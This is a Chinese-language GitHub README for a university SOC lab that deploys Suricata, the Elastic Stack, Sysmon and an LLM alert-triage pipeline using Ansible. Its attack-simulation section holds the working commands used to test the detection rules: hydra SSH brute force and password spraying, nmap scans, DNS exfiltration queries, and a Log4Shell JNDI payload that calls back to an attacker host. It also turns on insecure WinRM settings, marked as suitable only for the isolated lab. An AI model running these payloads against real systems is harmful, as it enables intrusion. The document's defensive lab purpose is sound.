Sxlmmm/SOC-Lab
GitHub: Sxlmmm/SOC-Lab
在 Apple Silicon 虚拟化环境中一键部署完整的 SOC 实验平台,集成网络检测、端点监控、日志分析和 AI 辅助告警分类。
Stars: 0 | Forks: 0
# SOC Lab — 安全运营中心
一个在 Apple Silicon 上从零开始构建的、完全自动化的多虚拟机安全运营中心(SOC)。集成了 Suricata IDS、Elastic Stack、Sysmon endpoint 遥测以及 AI 辅助的警报分类流水线——只需一条 Ansible 命令即可完成全部部署。
## 目录
- [概述](#overview)
- [架构](#architecture)
- [实验环境](#lab-environment)
- [前置条件](#prerequisites)
- [快速开始](#quick-start)
- [项目结构](#project-structure)
- [检测规则](#detection-rules)
- [AI 分类流水线](#ai-triage-pipeline)
- [攻击模拟](#attack-simulations)
- [Kibana 仪表盘](#kibana-dashboards)
- [局限性](#limitations)
## 概述
本项目跨三台虚拟机构建了一个生产级别的 SOC 环境:
- **Ubuntu SOC Server** — Elasticsearch、Kibana、Filebeat、Suricata IDS
- **Windows 11 Endpoint** — Sysmon (ARM64)、Winlogbeat、Windows Event Logs
- **Kali Linux Attacker** — Nmap、Hydra、hping3、自定义攻击脚本
所有配置均通过 Ansible 管理,并使用 Ansible Vault 进行密钥加密。完整环境可以在大约 6 分钟内从基础操作系统快照销毁并重建。
**检测覆盖率:** 13 条映射到 MITRE ATT&CK 的自定义 Suricata 规则,其中 8 条通过受控模拟进行了验证,调整后达到了 100% 的精确率。
**AI 分类:** 每条 Suricata 警报都会自动附带由 LLM 生成的摘要(严重程度、MITRE 技术、证据、后续步骤)进行丰富化,并通过 Gmail SMTP 发送给 SOC 分析师。
## 架构
```
┌─────────────────────────────────────────────────────────────────┐
│ 192.168.64.0/24 (UTM Internal) │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Kali Linux │ │ Windows 11 │ │ Ubuntu SOC │ │
│ │ 192.168.64.3 │ │ 192.168.64.4 │ │ 192.168.64.5 │ │
│ │ │ │ │ │ │ │
│ │ Attacker │───▶│ Sysmon │───▶│ Winlogbeat │ │
│ │ │ │ Winlogbeat │ │ Filebeat │ │
│ │ │ └──────────────┘ │ Suricata IDS │ │
│ │ │──────────────────────▶│ Elasticsearch │ │
│ └──────────────┘ (network traffic) │ Kibana │ │
│ │ AI Triage │ │
│ └──────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
**日志流:** Sysmon → Winlogbeat → Elasticsearch · Suricata → eve.json → Filebeat → Elasticsearch → Kibana + AI Triage → Email
## 实验环境
| 组件 | 详情 |
|-----------|--------|
| 宿主机 | Apple MacBook Pro, M2 Pro, 16 GB 内存, macOS Sonoma 14.5 |
| Hypervisor | UTM 4.x (Apple Silicon) |
| Ubuntu SOC | Ubuntu 24.04 LTS, 4 vCPU, 4 GB 内存 |
| Windows 11 | Windows 11 Home (ARM64), 4 vCPU, 4 GB 内存 |
| Kali Linux | Kali 2025.x (ARM64), 2 vCPU, 2 GB 内存 |
| Elasticsearch | 8.x (HTTP, 端口 9200) |
| Kibana | 8.x (端口 5601) |
| Winlogbeat | 8.19.4 |
| Sysmon | Sysmon64a.exe (ARM64 二进制文件) |
| Suricata | 7.x, enp0s1 上的 AF-PACKET 模式 |
## 前置条件
### 在 Ansible 控制节点(您的 Mac 终端)上:
```
# 安装 Ansible
pip3 install ansible pywinrm
# 安装所需的 collections
ansible-galaxy collection install ansible.windows community.windows
```
### 在 Ubuntu SOC 上(仅限首次):
```
# 为 Ansible 配置无密码 sudo
echo "sxlmmm ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/ansible
# SSH key 访问
ssh-copy-id sxlmmm@192.168.64.5
```
### 在 Kali 上(仅限首次):
```
ssh-copy-id kali@192.168.64.3
```
### 在 Windows 上(仅限首次 — 在 PowerShell 中以管理员身份运行):
```
# 为 Ansible 启用 WinRM
winrm quickconfig -q
winrm set winrm/config/service/Auth '@{Basic="true"}'
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
```
### 所需的 API Keys:
- **Groq API key** — 免费套餐,访问 https://console.groq.com (每天 10 万个 token)
- **Gmail 应用专用密码** — https://myaccount.google.com/apppasswords
## 快速开始
### 1. 克隆仓库
```
git clone https://git.cs.bham.ac.uk/projects-2025-26/axf280.git
```
### 2. 配置密钥
创建一个 Vault 密码文件(不要提交此文件):
```
echo "your_vault_password" > .vault_pass
chmod 600 .vault_pass
echo ".vault_pass" >> .gitignore
```
使用您的加密密钥编辑 AI 分类角色的默认值:
```
ansible-vault edit ansible/playbooks/roles/ai-triage/defaults/main.yml --vault-password-file .vault_pass
```
设置以下变量:
```
groq_api_key: "your_groq_api_key"
elastic_password: "your_elastic_password"
email_sender: "your_gmail@gmail.com"
email_recipient: "analyst@example.com"
email_password: "your_gmail_app_password"
```
然后重新加密:
```
ansible-vault encrypt ansible/playbooks/roles/ai-triage/defaults/main.yml --vault-password-file .vault_pass
```
### 3. 部署一切
```
ansible-playbook -i ansible/inventory/hosts.yml ansible/playbooks/site.yml --vault-password-file .vault_pass
```
预期输出:
```
PLAY RECAP
ubuntu-soc : ok=24 changed=13 unreachable=0 failed=0
kali-attacker : ok=6 changed=3 unreachable=0 failed=0
windows-endpoint : ok=26 changed=8 unreachable=0 failed=0
```
### 4. 验证技术栈
```
# 检查 Elasticsearch
curl -u 'elastic:YOUR_PASSWORD' http://192.168.64.5:9200/_cluster/health
# 检查 Suricata 规则加载情况
sudo grep "rules_loaded" /var/log/suricata/eve.json | tail -1
# 检查 AI triage cron
crontab -l
```
### 5. 访问 Kibana
在浏览器中打开 `http://192.168.64.5:5601`。
用户名:`elastic` · 密码:在部署期间设置。
## 项目结构
```
ansible/
├── inventory/
│ └── hosts.yml # VM connection config
└── playbooks/
├── site.yml # Master playbook
└── roles/
├── ubuntu-soc/ # Elasticsearch, Kibana, Filebeat
├── suricata/
│ ├── tasks/main.yml
│ ├── defaults/main.yml # HOME_NET variable
│ ├── handlers/main.yml
│ └── files/
│ ├── suricata.yaml # Full Suricata config
│ └── rules/
│ └── custom.rules # All 13 custom rules
├── windows/
│ ├── tasks/main.yml
│ ├── handlers/main.yml
│ └── files/
│ ├── sysmon/
│ │ └── sysmonconfig.xml
│ └── winlogbeat/
│ └── winlogbeat.yml
├── ai-triage/
│ ├── tasks/main.yml
│ ├── handlers/main.yml
│ ├── defaults/main.yml # Encrypted secrets
│ ├── templates/
│ │ └── env.j2 # .env template
│ └── files/
│ └── triage.py # AI triage script
└── kali/
└── tasks/main.yml # Kali tool install + DNS fix
```
## 检测规则
所有 13 条自定义规则位于 `ansible/playbooks/roles/suricata/files/rules/custom.rules`。
| 规则 ID | 描述 | MITRE | 已验证 |
|---------|-------------|-------|-----------|
| SOC-1001001 | TCP SYN 端口扫描 | T1046 | 是 |
| SOC-1001002 | TCP Xmas 扫描 | T1046 | 是 |
| SOC-1002001 | SSH 暴力破解 | T1110 | 是 |
| SOC-1002002 | SMB 暴力破解 | T1110 | 否, Win11 Home |
| SOC-1002003 | RDP 暴力破解 | T1110 | 否, Win11 Home |
| SOC-1003001 | ICMP 泛洪 | T1499 | 否, UTM 限制 |
| SOC-1004001 | PowerShell 编码命令 | T1059.001 | 是 |
| SOC-1005001 | 反向 Shell 连接 | T1071 | 是 |
| SOC-2001001 | Mimikatz SMB 活动 | T1003 | 否, 需要 Mimikatz |
| SOC-2002001 | CobaltStrike Beacon | T1071 | 是 |
| SOC-2003001 | EternalBlue/WannaCry SMB | T1210 | 否, 需要 Metasploit |
| SOC-2004001 | DNS 数据渗出 | T1071.004 | 是 |
| SOC-2005001 | Log4Shell 漏洞利用 | T1190 | 是 |
### 值得注意的调优 — SOC-1005001
此规则最初由于合法的 Ubuntu 更新流量、Google Cloud 端点和 Gmail SMTP,每小时产生 43 个误报。解决方案:
1. 排除安全端口范围:`![80,443,587,53,8080,8443,9200,5601]`
2. 扩展 `HOME_NET` 以包含 Ubuntu/Google/Canonical 的 IP 范围
结果:86% 的误报率 → 0%,所有真阳性均得到保留。
## AI 分类流水线
分类脚本通过 cron 每 5 分钟运行一次:
```
*/5 * * * * python3 /opt/ai-triage/triage.py >> /var/log/ai-triage.log 2>&1
```
### 流水线流程
```
Suricata alert → Elasticsearch query
→ Fetch 60s context window around alert
→ Build JSON case file
→ Send to Groq API (Llama 3.3-70B)
→ Store result in ai-triage-results index
→ Tag original alert as malicious
→ Send email to SOC analyst
```
### 输出示例
```
Summary: Possible Log4Shell exploit from 192.168.64.3 to port 9200 via HTTP,
with subsequent connections to ports 53 and 443.
Severity: High — potential remote code execution and C2 activity.
MITRE ATT&CK: T1190 — Exploit Public-Facing Application.
Evidence: ${jndi: pattern in HTTP header, multiple follow-on connections.
Next Steps:
1. Investigate source 192.168.64.3 for malware or unauthorised access.
2. Analyse port 9200 traffic for exploitation indicators.
3. Block source IP if activity confirmed malicious.
```
### 速率限制
Groq 免费套餐每天允许 100,000 个 token。该脚本包含:
- 已分类检查(通过警报 `_id` 进行去重)
- 警报之间的 `time.sleep(5)`
- 触及速率限制时的平滑降级消息(不会崩溃)
## 攻击模拟
从 Kali VM 运行所有攻击。请首先确保 Suricata 正在运行:
```
sudo systemctl status suricata
sudo tail -f /var/log/suricata/fast.log # watch for alerts
```
### 端口扫描 (SOC-1001001)
```
sudo nmap -sS -T5 -p 1-10000 192.168.64.5
```
### Xmas 扫描 (SOC-1001002)
```
sudo nmap -sX -T4 192.168.64.5
```
### SSH 暴力破解 (SOC-1002001)
```
hydra -l root -P /tmp/passwords.txt 192.168.64.5 ssh -t 4
# credential spray
hydra -L /tmp/users.txt -p password123 192.168.64.5 ssh -t 2
```
### PowerShell 编码命令 (SOC-1004001)
```
curl -A "powershell -enc dwBoAG8AYQBtAGkA" http://192.168.64.5:9200
```
### CobaltStrike beacon 模拟 (SOC-2002001)
```
for i in {1..5}; do
curl -s -A "Mozilla/5.0" -H "Accept: */*" http://192.168.64.5:9200/
sleep 5
done
```
### DNS 数据渗出 (SOC-2004001)
```
dig aGVsbG93b3JsZGhlbGxvd29ybGRoZWxsb3dvcmxk.example.com
dig dGhpc2lzYXZlcnlsb25nYmFzZTY0ZW5jb2RlZHN0cmluZw.malicious.com
```
### Log4Shell (SOC-2005001)
```
curl -H 'X-Api-Version: ${jndi:ldap://192.168.64.3/exploit}' http://192.168.64.5:9200
```
## Kibana 仪表盘
导航至 `http://192.168.64.5:5601` → Dashboards → **SOC Detection & Triage Dashboard**
四个面板:
| 面板 | 类型 | 索引 |
|-------|------|-------|
| 随时间变化的警报量 | 柱状图 (30分钟存储桶) | filebeat-* |
| 每条规则的警报 | 饼图 | filebeat-* |
| 按 MITRE 技术分类的警报 | 柱状图 | filebeat-* |
| AI 分类结果 | Discover 保存的搜索 | ai-triage-results |
## 局限性
| 局限性 | 影响 | 上下文 |
|------------|--------|---------|
| Suricata 仅在 SOC 接口上 | Kali→外部流量未被检查 | 生产环境:部署在边界 |
| Windows 11 Home | 无 SMB 服务器 / RDP 角色 | SOC-1002002, SOC-1002003 未验证 |
| UTM ARM64 ICMP 处理 | ICMP 泛洪规则不可靠 | SOC-1003001 未验证 |
| 需要 Sysmon ARM64 二进制文件 | Sysmon64a.exe, 而不是 Sysmon64.exe | 必须在 UEFI 中禁用 Secure Boot |
| Groq 免费套餐 (每天 10 万 token) | 分类流水线在耗尽时暂停 | 升级到 Dev 套餐以供生产使用 |
| 所有 VM 都在同一子网 | 规则使用 `any` 而不是 `$EXTERNAL_NET` | 已记录的设计约束 |
| WinRM 通过 HTTP | 未加密的 Ansible→Windows 通道 | 仅适用于隔离的实验环境 |
*University of Birmingham · School of Computer Science · May 2026*
标签:AI安全, AMSI绕过, Ansible, ARM64, ATT&CK映射, Chat Copilot, Cloudflare, Elasticsearch, Hydra, LLM, Metaprompt, MITRE ATT&CK, Nmap, OISF, OPA, PB级数据处理, PE 加载器, SOC实验室, SOC架构, Suricata, Sysdig, Sysmon, Unmanaged PE, UTM虚拟机, Windows 11, Winlogbeat, 云存储安全, 入侵检测系统, 告警分诊, 基础架构即代码, 大模型, 威胁检测, 安全数据湖, 安全运维, 安全运营, 安全运营中心, 密码爆破, 扫描框架, 插件系统, 攻击模拟, 数据展示, 日志管理, 特权提升, 现代安全运营, 端点监控, 系统提示词, 红队, 网络安全, 网络安全审计, 网络扫描, 网络映射, 自动化响应, 自动化部署, 自定义检测规则, 苹果芯片, 虚拟化环境, 虚拟驱动器, 越狱测试, 逆向工具, 速率限制处理, 隐私保护, 靶场, 驱动签名利用